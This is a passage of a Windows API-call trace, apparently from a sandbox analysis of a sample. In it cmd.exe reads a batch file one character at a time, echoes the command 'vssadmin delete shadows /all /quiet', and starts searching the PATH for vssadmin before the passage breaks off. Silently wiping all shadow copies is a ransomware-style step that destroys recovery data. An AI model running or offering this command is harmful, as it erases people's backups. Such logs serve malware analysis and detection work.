lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be33e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.660] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.660] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.660] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be340, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.660] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.660] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.660] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.660] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be342, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0041.660] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.660] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.661] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be344, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.661] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.661] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.661] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be346, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0041.661] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.661] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.661] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be348, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0041.661] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.661] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.661] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be34a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0041.661] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.661] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.661] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.661] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be34c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0041.661] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.661] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.662] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.662] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0041.662] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.662] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0041.662] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.662] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.662] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.662] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0041.662] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.662] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0041.662] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.662] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.662] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0041.663] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.663] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.663] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0041.663] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.663] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.663] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0041.663] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.663] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.663] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0041.663] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.663] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.663] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0041.663] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.663] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.663] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0041.663] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.663] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.663] ReadFile (in: hFile=0xa4, lpBuffer=0x4a4bc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f438, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesRead=0x16f438*=0x1, lpOverlapped=0x0) returned 1 [0041.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a4bc320, cbMultiByte=1, lpWideCharStr=0x4a4be366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0041.664] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.664] GetFileType (hFile=0xa4) returned 0x3 [0041.664] _get_osfhandle (_FileHandle=0) returned 0xa4 [0041.664] SetFilePointer (in: hFile=0xa4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0041.664] _get_osfhandle (_FileHandle=1) returned 0xf0 [0041.664] GetFileType (hFile=0xf0) returned 0x3 [0041.664] _get_osfhandle (_FileHandle=1) returned 0xf0 [0041.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a4bc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0041.664] WriteFile (in: hFile=0xf0, lpBuffer=0x4a4bc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x16f418, lpOverlapped=0x0 | out: lpBuffer=0x4a4bc320*, lpNumberOfBytesWritten=0x16f418*=0x24, lpOverlapped=0x0) returned 1 [0041.665] GetProcessHeap () returned 0x320000 [0041.665] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4012) returned 0x33b9e0 [0041.665] GetProcessHeap () returned 0x320000 [0041.666] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33b9e0 | out: hHeap=0x320000) returned 1 [0041.666] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0041.666] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0041.666] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0041.666] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0041.666] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0041.666] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0041.666] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0041.667] GetProcessHeap () returned 0x320000 [0041.667] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0) returned 0x339cd0 [0041.667] GetProcessHeap () returned 0x320000 [0041.667] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x22) returned 0x3346c0 [0041.667] GetProcessHeap () returned 0x320000 [0041.667] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x48) returned 0x338540 [0041.668] GetConsoleOutputCP () returned 0x1b5 [0041.668] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4bbfe0 | out: lpCPInfo=0x4a4bbfe0) returned 1 [0041.668] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0041.668] GetConsoleTitleW (in: lpConsoleTitle=0x16f3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0041.669] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0041.669] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0041.669] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0041.669] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0041.669] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0041.669] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0041.669] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0041.669] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0041.669] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0041.669] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0041.669] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0041.669] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0041.669] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0041.669] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0041.669] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0041.669] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0041.669] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0041.669] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0041.669] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0041.669] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0041.669] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0041.669] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0041.669] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0041.669] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0041.669] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0041.669] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0041.669] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0041.669] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0041.669] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0041.669] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0041.670] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0041.670] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0041.670] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0041.670] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0041.670] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0041.670] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0041.670] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0041.670] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0041.670] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0041.670] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0041.670] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0041.670] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0041.670] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0041.670] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0041.670] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0041.670] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0041.670] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0041.670] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0041.670] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0041.670] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0041.670] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0041.670] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0041.670] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0041.670] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0041.670] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0041.670] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0041.670] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0041.670] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0041.670] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0041.670] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0041.670] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0041.670] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0041.670] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0041.670] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0041.671] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0041.671] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0041.671] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0041.671] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0041.671] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0041.671] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0041.671] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0041.671] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0041.671] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0041.671] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0041.671] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0041.671] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0041.671] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0041.671] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0041.671] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0041.671] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0041.671] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0041.671] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0041.671] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0041.671] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0041.671] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0041.671] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0041.671] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0041.672] GetProcessHeap () returned 0x320000 [0041.672] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x335da0 [0041.672] GetProcessHeap () returned 0x320000 [0041.672] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x5a) returned 0x33a290 [0041.672] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0041.672] GetProcessHeap () returned 0x320000 [0041.672] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x420) returned 0x321930 [0041.672] SetErrorMode (uMode=0x0) returned 0x0 [0041.672] SetErrorMode (uMode=0x1) returned 0x0 [0041.672] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x321940, lpFilePart=0x16ec60 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x16ec60*="Desktop") returned 0x1a [0041.672] SetErrorMode (uMode=0x0) returned 0x1 [0041.672] GetProcessHeap () returned 0x320000 [0041.672] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x321930, Size=0x58) returned 0x321930 [0041.672] GetProcessHeap () returned 0x320000 [0041.672] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x321930) returned 0x58 [0041.672] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4af360, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0041.672] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0041.673] GetProcessHeap () returned 0x320000 [0041.673] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1dc) returned 0x338bb0 [0041.673] GetProcessHeap () returned 0x320000 [0041.673] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x3a8) returned 0x3219a0 [0041.678] GetProcessHeap () returned 0x320000 [0041.678] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x3219a0, Size=0x1de) returned 0x3219a0 [0041.678] GetProcessHeap () returned 0x320000 [0041.678] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x3219a0) returned 0x1de [0041.678] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4af360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0041.678] GetProcessHeap () returned 0x320000 [0041.678] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xe8) returned 0x338da0 [0041.678] GetProcessHeap () returned 0x320000 [0041.678] RtlReAllocateHeap (Heap=0x320000, Flags=0x0, Ptr=0x338da0, Size=0x7e) returned 0x338da0 [0041.678] GetProcessHeap () returned 0x320000 [0041.678] RtlSizeHeap (HeapHandle=0x320000, Flags=0x0, MemoryPointer=0x338da0) returned 0x7e [0041.679] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.679] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vssadmin.*" (normalized: "c:\\users\\keecfmwgj\\desktop\\vssadmin.*"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0xffffffffffffffff [0041.679] GetLastError () returned 0x2 [0041.679] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vssadmin" (normalized: "c:\\users\\keecfmwgj\\desktop\\vssadmin"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0xffffffffffffffff [0041.680] GetLastError () returned 0x2 [0041.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0041.680] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\vssadmin.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\vssadmin.*"), fInfoLevelId=0x1, lpFindFileData=0x16e9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16e9d0) returned 0xffffffffffffffff [0041.681] GetLastError () returned 0x2 [0041.681] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common 